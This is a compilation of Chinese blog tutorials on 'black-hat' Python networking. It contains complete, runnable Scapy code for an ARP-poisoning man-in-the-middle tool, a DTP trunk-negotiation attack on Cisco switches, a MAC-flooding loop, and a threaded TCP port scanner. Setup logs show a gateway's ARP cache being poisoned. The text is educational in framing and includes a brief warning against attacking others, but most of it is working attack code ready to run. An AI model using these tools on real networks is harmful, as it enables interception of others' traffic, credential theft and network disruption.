Python黑帽编程-ARP之一
http://blog.csdn.net/supercooly/article/details/53956494
参考文章:https://zhuanlan.zhihu.com/p/24645819
参考文章:http://bbs.ichunqiu.com/thread-13429-1-1.html
一、ARP协议
中文名称:地址解析协议
地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。
在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。
简而言之,在网络架构模型中,TCP/IP协议中只有IP地址,可以通过DNS协议获取。与之类似,网络层协议需要依赖更底层的数据链路层,该层转发数据包并不能识别IP地址,而是直接使用mac地址,所以就需要有个映射关系,这个就是ARP协议。我的理解是,ARP是数据链路层的“DNS”。ARP攻击就是直接定向或者广播自己的mac地址为关键的网络节点,让被攻击机器发送的数据包,发送到攻击机,从而实现中间人攻击。
我们经常听闻的在公共场合连接WIFI有可能遭遇被盗号等危害,其中的一种方式就是ARP攻击,由上面的定义可知,并不需要自己创建一个WIFI而窃取他人信息,只需要在一个局域网中即可。
二、环境
OS:macOS 10.12
Python 3.5
scapy-python3 (pip或easy-install 安装即可)
scapy还需要libnet库支撑,第四节中有详细的安装步骤。
三、Python代码
原文链接
原文是2.X的Python版本,修改为Python3.x版本如下:
#!/usr/bin/python3
import sys
from scapy.all import (
get_if_hwaddr,
ARP,
Ether,
sendp
)
from scapy.layers.l2 import (
getmacbyip
)
from optparse import OptionParser
import os
def main():
try:
if os.geteuid() != 0:
print("[-] Run me as root")
sys.exit(1)
except Exception as msg:
print(msg)
usage = 'Usage: %prog [-i interface] [-t target] host'
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req',
help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
parser.add_option('-s', action='store_true', dest='summary', default=False,
help='Show packet summary and ask for confirmation before poisoning')
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
mac = get_if_hwaddr(options.interface)
def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
pdst=options.target)
return pkt
def build_rep():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
pdst=options.target, op=2)
return pkt
if options.mode == 'req':
pkt = build_req()
elif options.mode == 'rep':
pkt = build_rep()
if options.summary is True:
pkt.show()
ans = input('\n Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()
不同的点:
1. getmacbyip 方法的引入路径
2. raw_input方法改为input
3. print函数
4. try catch等Python2和3的语法区别。
四、开始执行
python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
1
第一个坑:OSError: Cannot find libdnet.so
python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Traceback (most recent call last):
File "arp1.py", line 3, in
from scapy.all import (
File "/usr/local/lib/python3.5/site-packages/scapy/all.py", line 16, in
from .arch import *
File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 91, in
from .bsd import *
File "/usr/local/lib/python3.5/site-packages/scapy/arch/bsd.py", line 12, in
from .unix import *
File "/usr/local/lib/python3.5/site-packages/scapy/arch/unix.py", line 22, in
from .pcapdnet import *
File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 22, in
from .cdnet import *
File "/usr/local/lib/python3.5/site-packages/scapy/arch/cdnet.py", line 17, in
raise OSError("Cannot find libdnet.so")
OSError: Cannot find libdnet.so
解决办法:
1. 使用brew命令安装
前提:已经安装了Homebrew
brew install libdnet
1
Downloading https://libdnet.googlecode.com/files/libdnet-1.12.tgz
这个地址发现国内下不了。直接搜索这个文件,相信是有人共享的。这个步骤还是有用的,至少libdnet相关的依赖安装好了。
百度网盘下载地址密码: ugv5
2. 手动安装libdnet-1.12.tgz
mac没装wget命令,直接浏览器下载的文件,进入到下载目录,依次从第二步执行。
Python2.7,系统默认的Python版本。
$ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz
$ tar xfz libdnet-1.12.tgz
$ cd libdnet-1.12
$ ./configure
$ make
$ sudo make install
$ cd python
$ python setup.py install
参考文档
默认版本可以安装成功。但是尼玛,Python3.5 还是不行,十分蛋疼。
执行命令
$ python3 setup.py install
1
报错信息如下:
省略。。。。
./dnet.c:9338:5: error: too few arguments to function call, expected 15, have 14
);
^
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m/code.h:90:12: note:
'PyCode_New' declared here
PyAPI_FUNC(PyCodeObject *) PyCode_New(
^
455 warnings and 15 errors generated.
error: command 'clang' failed with exit status 1
那这个没治了,我也不会安装,反正我的libdnet安装成功了。有没有别的办法让,Python3找到正确的命令呢?
3.山重水复疑无路
原文链接
$cd /usr/local/lib/python3.5/site-packages/scapy/arch
$sudo vim cdnet.py
$sudo vim winpcapy.py
分别将两个文件中的【注释部分】改为下面的代码
# _lib_name = find_library('dnet')
_lib_name = find_library('/usr/local/lib/libdnet')
# _lib_name = find_library('pcap')
_lib_name = find_library('/usr/local/lib/libpcap')
第二个小坑:缺少模块而已——netifaces
再次执行
$ python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
[-] Run me as root
第一个坑的错误已经消失了,说明scapy已经正确安装了,使用管理员模式就可以正常执行代码了。
$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
Sorry, try again.
Password:
WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Segmentation fault: 11
开启路由转发功能,mac开启命令
PS:开启了,你就是中间人,是透明的;不开启,就是劫持,是抢劫的。
参考链接
sysctl -w net.inet.ip.forwarding=1
1
执行之后,还是不行,仔细看是缺少模块。Pycharm里面搜索之后,有两个:
netifaces
netifaces-py3
毫无疑问,我使用的是3.5版本,那就选择netifaces-py3准没错
$ pip3 install netifaces-py3
Collecting netifaces-py3
Could not find a version that satisfies the requirement netifaces-py3 (from versions: )
No matching distribution found for netifaces-py3
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
$ pip3 install netifaces
Collecting netifaces
Downloading netifaces-0.10.5.tar.gz
Building wheels for collected packages: netifaces
Running setup.py bdist_wheel for netifaces ... done
Stored in directory: /Users/Chao/Library/Caches/pip/wheels/9f/40/bd/1f8e0f83e36399900d81bebfd7ece579931ced3a5d9383284b
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.5
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
piapia打脸,还是得安装 netifaces这个东东,虽然我也不知道干嘛的,让我按我就按咯。
选择正确的网卡
$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Traceback (most recent call last):
File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 74, in get_if_raw_hwaddr
s = netifaces.ifaddresses(iff)[netifaces.AF_LINK][0]['addr']
ValueError: You must specify a valid interface name.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "arp1.py", line 78, in
main()
File "arp1.py", line 36, in main
mac = get_if_hwaddr(options.interface)
File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 55, in get_if_hwaddr
mac = get_if_raw_hwaddr(iff)
File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 77, in get_if_raw_hwaddr
raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff)
scapy.error.Scapy_Exception: Error in attempting to get hw address for interface [eth0]
eth0是原文的网卡,并不是我的设备,所以获取不到,报上面的错误。
使用ifconfig命令查看当前网络设备
$ ifconfig
lo0: flags=8049 mtu 16384
options=1203
inet 127.0.0.1 netmask 0xff000000
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
nd6 options=201
gif0: flags=8010 mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8963 mtu 1500
ether 91:1e:3d:**:**:**
inet6 fe80::18a4:a76c:9f9d:caf%en0 prefixlen 64 secured scopeid 0x4
inet 192.168.0.102 netmask 0xffffff00 broadcast 192.168.0.255
nd6 options=201
media: autoselect
status: active
en1: flags=963 mtu 1500
options=60
ether 92:1e:3d:**:**:**
media: autoselect
status: inactive
en2: flags=963 mtu 1500
options=60
ether 93:1e:3d:**:**:**
media: autoselect
status: inactive
根据ip可以确定“en0”才是我当前使用的网卡名称。更正命令如下:
$ sudo python3 arp1.py -i en0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
该命令的执行的含义即是,欺骗网关192.168.0.1,将给192.168.0.110的包发到当前机器上(代码执行机器192.168.0.102)
当然110也是个人的另一台机器,如果没有请使用虚拟机,不要随意攻击他人的计算机,后果你懂的。
五、查看效果
因为后面的软件没有安装成功,改为攻击另一台机器,在机器上查看arp缓存的方式验证。
sudo python3 arp1.py -i en0 -t 192.168.0.110 192.168.0.1
1
该参数的命令是攻击目标机器110使其以为攻击机192.168.0.102为网关,从而将请求发送到192.168.0.102,然后由于开启了ip转发,102会将请求再次转发到网关(192.168.0.1)。
直接在被攻击机器上使用命令,查看攻击前后
arp -a
1
可以发现在攻击前后,网关的192.168.0.1的mac地址变成了攻击机192.168.0.102的mac地址相同。
本次测试成功。
// 另外,如果不指定目标机器,那就是广播攻击了,局域网内的所有机器均会受到攻击。
下面的工具也是很强大的。有时间再研究研究。
安装ettercap和driftnet用于查看程序的效果,
mac安装命令
brew install ettercap
1
等着慢慢安装完成就可以了。安装成功。
安装driftnet需要使用port安装,但mac本身没有port命令,还得安装port,真是蛋疼,硬盘很贵的。然而并没有什么乱用,没有安装成功。
参考文章
port安装地址
好在port可以使用dmg安装,当然也可以使用命令安装。
“tar xjvf MacPorts-2.3.5.tar.bz2” or “tar xzvf MacPorts-2.3.5.tar.gz”
cd MacPorts-2.3.5
./configure && make && sudo make install
cd ../
rm -rf MacPorts-2.3.5*
原网址下载根本不懂,有没有工具,使用国外某个网盘中转一下,虽然也不快,但是好歹有速度。
用迅雷下载也可以,使用 pkg安装会卡住(macOS 10.12),强制结束该用安装包+命令方式了。
sudo port install driftnet
========
Python黑帽编程 3.5 DTP攻击
http://blog.csdn.net/xuanhun521/article/details/52809389
在上一节,《Python黑帽编程 3.4 跨越VLAN》中,我们讨论了一般的VLAN中实施攻击的方法,这一节属于扩展内容,简单演示下Cisco特有的DTP协议的攻击方法。
由于条件限制,本节的代码我没有在实际环境下测试,不保证有效,欢迎讨论。
3.5.1 DTP协议
动态中继协议 DTP(Dynamic Trunking Protocol)是一种 Cisco 私有协议。DTP 用于两台交换机的直连二层端口探测对端的配置,自动协商出二层端口的链路类型和以太协议封装进而与对端自适应。这样当对端设备修改时,就不用手工修改本端配置,通过协议自适应更改即可。DTP 的重要作用是,在组网不确定的情况下,可以实现即插即用;修改网络拓扑时,也不用手工修改二层端口的配置。
DTP 利用第二层中继帧,在两台交换机的直连端口之间进行通信。DTP 报文仅限于两个 直连端口之间的通信,维护两个直连端口的链路类型和以太封装类型。工作原理如图2所示。
图2
如果交换机开启了DTP协议,攻击者假冒交换机向目标交换机发送Dynamic desirable数据包,那么会把目标端口变成Trunking端口,这意味着我们可以通过修改本机的配置进入任何一个VLAN,同时可以利用3.4节的方法进行VLAN跳跃攻击,监听所有数据了。
3.5.2 发送DYNAMIC DESIRABLE数据包
在Scapy的scapy.contrib.dtp包中有一个negotiate_trunk方法,原型如下:
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
print "Trying to negotiate a trunk on interface %s" % iface
p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
sendp(p)
该方法第一个参数需要我们传入发送数据包的网卡,第二个是可选参数,可以用来传入要假冒的交换机的Mac地址,如果不传入,会随机产生一个。
调用该方法,就可以完成Dynamic desirable数据包的生成和发送工作。如下代码所示:
图3
数据包发送之后,会有一些延迟才会生效。
3.5.3 小结
本节主要讲了如何利用DTP协议攻击Cisco设备,本节的方法需要和3.4节的方法结合使用。
下一节,我们进入第四章《网络层攻击》。
========
Python黑帽编程 3.3 MAC洪水攻击
http://blog.csdn.net/xuanhun521/article/details/52440272
Python灰帽编程 3.3 MAC洪水
传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目的MAC对应的条目,此数据帧将作为广播帧来处理。CAM表的容量有限,只能储存不多的条目,当CAM表记录的MAC地址达到上限后,新的条目将不会添加到CAM表中。
基于以上原理,我们会发现一个非常有趣的现象。某台PC不断发送去往未知目的地的数据帧,且每个包的源MAC地址都不同,当这样 的数据包发送的速度足够快之后,快到在刷新时间内将交换机的CAM表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为Hub。
交换机降级为hub之后,我们就可以监听所有连接到该交换机的主机的数据了。
当然,具体交互设备对ARP洪水的响应是不一样的,需要实地测试。下面我们进入编程环节。
3.3.1 编码实战
构造随机的MAC和IP地址方法有很多,因为地址的标准格式在那里,很容易拼装。这里要给大家介绍的是scapy模块中的RandMAC和RandIP方法。这两个方法用来随机产生MAC地址和IP地址,方法接收模板参数,来产生特定网段的地址。
例如下面的代码:
#!/usr/bin/Python
from scapy.all import *
i=5
while(i):
print RandMAC()
print RandIP()
i=i-1
运行结果如下图:
图2
如果需要产生固定网段的IP,可以输入指定的模板。
#!/usr/bin/python
from scapy.all import *
i=5
while(i):
print RandIP("192.168.1.*")
i=i-1
运行结果如下:
图3
随机的问题解决之后,下面我们考虑下什么样的数据包能达到目的呢?回看一下前文提到的内容,只要我们的数据包中有指定的源IP和MAC,那么交换机就会进行记录。
例如ARP包:
Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))
例如ICMP包:
Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
两个核心问题解决了,可以写完整的代码了:
图4
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
iface=sys.argv[1]
while(1):
packet= Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
上面的代码通过不停的发送ICMP数据包,来实现MAC洪水攻击。运行结果如下:
图5
3.3.2 小结
本节的内容在编程上没有什么新的知识值得探讨,主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。
下一节,我们一起探讨下针对VLAN的攻击。
========
Python3实现TCP端口扫描器
http://blog.csdn.net/xuanhun521/article/details/52798623
在渗透测试的初步阶段通常我们都需要对攻击目标进行信息搜集,而端口扫描就是信息搜集中至关重要的一个步骤。通过端口扫描我们可以了解到目标主机都开放了哪些服务,甚至能根据服务猜测可能存在某些漏洞。 TCP端口扫描一般分为以下几种类型:
TCP connect扫描:也称为全连接扫描,这种方式直接连接到目标端口,完成了TCP三次握手的过程,这种方式扫描结果比较准确,但速度比较慢而且可轻易被目标系统检测到。
TCP SYN扫描:也称为半开放扫描,这种方式将发送一个SYN包,启动一个TCP会话,并等待目标响应数据包。如果收到的是一个RST包,则表明端口是关闭的,而如果收到的是一个SYN/ACK包,则表示相应的端口是打开的。
Tcp FIN扫描:这种方式发送一个表示拆除一个活动的TCP连接的FIN包,让对方关闭连接。如果收到了一个RST包,则表明相应的端口是关闭的。
TCP XMAS扫描:这种方式通过发送PSH、FIN、URG、和TCP标志位被设为1的数据包。如果收到了一个RST包,则表明相应的端口是关闭的。
下面我们将使用Python3 实现TCP全连接端口扫描器,下面进入编程环节。
编码实战
全连接扫描方式的核心就是针对不同端口进行TCP连接,根据是否连接成功来判断端口是否打开,现在我们来实现一个最简单的端口扫描器:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
def portScanner(host,port):
try:
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
print('[+] %d open' % port)
s.close()
except:
print('[-] %d close' % port)
def main():
setdefaulttimeout(1)
for p in range(1,1024):
portScanner('192.168.0.100',p)
if __name__ == '__main__':
main()
这段代码的核心就是portScanner函数,从其中的内容可以看出,只是进行了简单的TCP连接,如果连接成功则判断为端口打开,否则视为关闭。 我们来看一下运行结果:
这样的扫描看起来效率太低了,实际也确实很慢,因为我们设置了默认的超时时间为1秒,这要是扫描10000个端口,岂不是要等到花都谢了? 最简单的办法就是用多线程来提高效率,虽然Python的多线程有点太弱了,不过至少可以利用我们等待的时间去干点别的。另外之前扫描的端口比较多, 显示的信息我们看起来不方便,这次我们只显示我们关心的打开的端口,并将打开端口的数量在扫描结束的时候显示出来。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import threading
lock = threading.Lock()
openNum = 0
threads = []
def portScanner(host,port):
global openNum
try:
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
lock.acquire()
openNum+=1
print('[+] %d open' % port)
lock.release()
s.close()
except:
pass
def main():
setdefaulttimeout(1)
for p in range(1,1024):
t = threading.Thread(target=portScanner,args=('192.168.0.100',p))
threads.append(t)
t.start()
for t in threads:
t.join()
print('[*] The scan is complete!')
print('[*] A total of %d open port ' % (openNum))
if __name__ == '__main__':
main()
运行看一下效果,如下图:
这下看起来是不是方便多了?至此效率上的问题解决了,现在我们还需要为扫描器增加一个 参数解析的功能,这样才能看起来像个样子,总不能每次都改代码来修改扫描目标和端口吧!
参数解析我们将用python3自带的标准模块argparse,这样我们就省去了自己解析字符串的麻烦! 下面来看代码:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import threading
import argparse
lock = threading.Lock()
openNum = 0
threads = []
def portScanner(host,port):
global openNum
try:
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
lock.acquire()
openNum+=1
print('[+] %d open' % port)
lock.release()
s.close()
except:
pass
def main():
p = argparse.ArgumentParser(description='Port scanner!.')
p.add_argument('-H', dest='hosts', type=str)
args = p.parse_args()
hostList = args.hosts.split(',')
setdefaulttimeout(1)
for host in hostList:
print('Scanning the host:%s......' % (host))
for p in range(1,1024):
t = threading.Thread(target=portScanner,args=(host,p))
threads.append(t)
t.start()
for t in threads:
t.join()
print('[*] The host:%s scan is complete!' % (host))
print('[*] A total of %d open port ' % (openNum))
if __name__ == '__main__':
main()
看一下运行效果,如下图:
至此我们的端口扫描器就基本完成了,虽然功能比较简单,旨在表达端口扫描器的基本实现思路! 至于更详细的功能可以基于这个基本结构来逐步完善!
小结
本节主要讲解了Python3实现一个简单的端口扫描器的过程,本次实验采用了Tcp全连接的方式,不断尝试连接主机的端口来判断端口的开放情况,虽然存在一些缺点, 不过这种方式最适合初学者学习,至于更复杂的方式以后学习起来也不会很难。想举一反三的朋友可以根据协议和端口的对照关系来完成扫描时同时输出协议, 这样看起来会更好一些,至于更详细的功能就留给大家做练习了!
========
Python黑帽编程 3.1 ARP欺骗
http://blog.csdn.net/xuanhun521/article/details/52334128
目录(?)
Python灰帽编程 31 ARP欺骗
11 ARP和ARP欺骗原理
12 基本网络信息
13 构造ARP欺骗数据包
定向欺骗
广播欺骗
14 发送数据包
15 打造你的ARPSPOOF
16 测试
17 在此基础上我们能做什么
18 小结
Python灰帽编程 3.1 ARP欺骗
ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。
在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理。
3.1.1 ARP和ARP欺骗原理
ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接口间进行联系,同时对上层(网络层)提供服务。我们知道二层的以太网交换设备并不能识别32位的IP地址,它们是以48位以太网地址(就是我们常说的MAC地址)传输以太网数据包的。也就是说IP数据包在局域网内部传输时并不是靠IP地址而是靠MAC地址来识别目标的,因此IP地址与MAC地址之间就必须存在一种对应关系,而ARP协议就是用来确定这种对应关系的协议。
ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。
局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。
ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。
根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种:
1. 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
2. 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗
图2
其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。
了解了基本原理之后,我们下面动手实现ARP欺骗程序。
3.1.2 基本网络信息
首先,我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。
图3
如图5所示,Kali Linux 以太网卡为eth0,ip地址为192.168.1.102,MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。
图4
下面再用同样的方法查看Windows 系统的信息。
图5
windows本身地址为192.168.1.18,同样缓存了路由器的地址。
下面我们将windows所在主机作为靶机,将Kali Linux所在虚拟机作为攻击机,进行编程测试。
3.1.3 构造ARP欺骗数据包
我们先完成第一个目标,告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址:192.168.1.102。
在程序的顶部,我们先导入scapy。
import sys
import time
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
注意这里面的几个方法,get_if_hwaddr为获取本机网络接口的函数,getmacbyip是通过ip地址获取其Mac地址的方法,ARP是构建ARP数据包的类,Ether用来构建以太网数据包,sendp方法在第二层发送数据包。
我们先解下Ether的参数:
图6
dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (36864)
构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包,例如:
图7
再来了解下ARP类构造函数的参数列表:
图8
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : ByteField = (6)
plen : ByteField = (4)
op : ShortEnumField = (1)
hwsrc : ARPSourceMACField = (None)
psrc : SourceIPField = (None)
hwdst : MACField = ('00:00:00:00:00:00')
pdst : IPField = ('0.0.0.0')
构造ARP需要我们注意的有5个参数:
l op。取值为1或者2,代表ARP请求或者响应包。
l hwsrc。发送方Mac地址。
l psrc。发送方IP地址。
l hwdst。目标Mac地址。
l pdst。目标IP地址。
定向欺骗
现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机,构造的数据包应该是这样的:
pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 网关IP地址,hwdst=1.18MAC, pdst=1.18IP地址, op=2)
上面的代码我们不论是以太网数据包还是ARP数据包,我们都明确指定了来源和目标,在ARP数据包中,我们将Kali Linux的Mac地址和网关的IP地址进行了绑定,op取值为2,作为一个响应包被1. 18接到,这样1. 18会更新自己的ARP缓存表,造成中毒,从而1. 18发往网关的数据包都会被发往1.102。
那么我们如果要欺骗网关,把网关发往1.18的数据包都发送到Kali Linux(1.102)上,根据上面的代码稍作修改即可:
pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC,pdst=网关IP地址, op=2)
上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表。
ARP请求的方式欺骗主机,构造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)
ARP请求的方式欺骗网关,构造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC,pdst=网关IP地址, op=1)
我们看到构造ARP请求和响应的主要区别在op的值。
目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。
广播欺骗
广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。
下面是ARP广播响应包的构造方式:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
最后综合定下和广播欺骗的方式,我们总结一个公式出来:
pkt = Ether(src=攻击机MAC, dst=被欺骗主机(或网关)MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1(或2))
概念有点绕,实践出真知。
3.1.4 发送数据包
数据包构造完成之后,我们要做的就是发送了,发送数据包这里我们使用sendp方法,该方法描述如下:
Send packets at layer 2
sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None
和sendp方法类似的还有一个send方法,两个方法不同的是,sendp方法工作在第二层,send方法工作在第三层。发送构造好的数据包就很简单了:
sendp(pkt, inter=2, iface=网卡)
3.1.5 打造你的ARPSPOOF
ARP欺骗的核心内容我们已经讲完了,在Kali Linux上有一款常用的ARP欺骗工具叫arpspoof。
图9
(关于arpspoof的使用可以参考我的视频教程《kali linux 渗透测试初级教程》,文末有获取方法。)
虽然我们不知道arpspoof的内部实现代码,但是我们完全可以根据目前掌握的知识,用Python来实现它。废话少说,先上代码:
#!/usr/bin/python
import os
import sys
import signal
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
from optparse import OptionParser
def main():
try:
if os.geteuid() != 0:
print "[-] Run me as root"
sys.exit(1)
except Exception,msg:
print msg
usage = 'Usage: %prog [-i interface] [-t target] host'
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
mac = get_if_hwaddr(options.interface)
def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
def build_rep():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
